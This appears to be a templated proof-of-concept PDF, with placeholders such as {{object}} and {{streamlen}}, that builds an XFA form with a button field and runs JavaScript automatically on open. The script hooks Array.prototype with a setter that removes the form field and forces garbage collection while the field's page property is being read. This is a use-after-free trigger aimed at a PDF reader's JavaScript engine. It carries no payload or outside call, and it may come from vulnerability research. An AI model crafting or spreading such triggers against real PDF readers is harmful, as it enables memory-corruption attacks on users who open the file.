1{{header}} 2{{object 1 0}} << 3 /Type /Catalog 4 /Pages 2 0 R 5 /AcroForm 4 0 R 6 /OpenAction 10 0 R 7>> 8endobj 9{{object 2 0}} << 10 /Type /Pages 11 /Count 1 12 /Kids [ 13 3 0 R 14 ] 15>> 16endobj 17% Page number 0. 18{{object 3 0}} << 19 /Type /Page 20 /Parent 2 0 R 21 /Resources << 22 /Font <</F1 15 0 R>> 23 >> 24 /Contents [21 0 R] 25 /MediaBox [0 0 612 792] 26 /Annots [7 0 R 8 0 R 9 0 R] 27>> 28endobj 29% Forms 30{{object 4 0}} << 31 /XFA [ 32 (xdp:xdp) 23 0 R 33 (form) 29 0 R 34 (</xdp:xdp>) 30 0 R 35 ] 36 /Fields [ 37 5 0 R 38 ] 39>> 40endobj 41% Fields 42{{object 5 0}} << 43 /T (MyField) 44 /Kids [ 45 6 0 R 46 ] 47 /Rect [100 100 400 400] 48>> 49endobj 50{{object 6 0}} << 51 /Parent 5 0 R 52 /FT /Btn 53 /Kids [ 54 7 0 R 55 8 0 R 56 9 0 R 57 ] 58 /Rect [200 200 220 220] 59>> 60endobj 61{{object 7 0}} << 62 /Parent 6 0 R 63 /Type /Annot 64 /Subtype /Widget 65 /Rect [220 220 240 240] 66>> 67endobj 68{{object 8 0}} << 69 /Parent 6 0 R 70 /Type /Annot 71 /Subtype /Widget 72 /Rect [240 240 260 260] 73>> 74endobj 75{{object 9 0}} << 76 /Parent 6 0 R 77 /Type /Annot 78 /Subtype /Widget 79 /Rect [240 240 260 260] 80>> 81endobj 82% OpenAction action 83{{object 10 0}} << 84 /Type /Action 85 /S /JavaScript 86 /JS 11 0 R 87>> 88endobj 89% JS program to execute 90{{object 11 0}} << 91 {{streamlen}} 92>> 93stream 94var theName = "MyField"; 95function Mangles() { 96 app.alert('Starting ...'); 97 try { 98 var f = this.getField(theName); 99 Object.defineProperty(Array.prototype, 1, { 100 get: () => { 101 return this[1]; 102 }, 103 set: (v) => { 104 app.alert('Firing ...'); 105 this.removeField(theName); 106 gc(); 107 return false; 108 }, 109 enumerable: true 110 }); 111 f.page; 112 } catch (e) { 113 app.alert("failed: " + e); 114 } 115} 116Mangles(); 117endstream 118endobj 119{{object 23 0}} << 120 {{streamlen}} 121>> 122stream 123<?xml version="1.0" encoding="UTF-8"?> 124<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> 125endstream 126endobj 127{{object 29 0}} << 128 {{streamlen}} 129>> 130stream 131<config></config> 132<template></template> 133endstream 134endobj 135{{object 30 0}} << 136 {{streamlen}} 137>> 138stream 139</xdp:xdp> 140endstream 141endobj 142{{xref}} 143{{trailer}} 144{{startxref}} 145%%EOF 146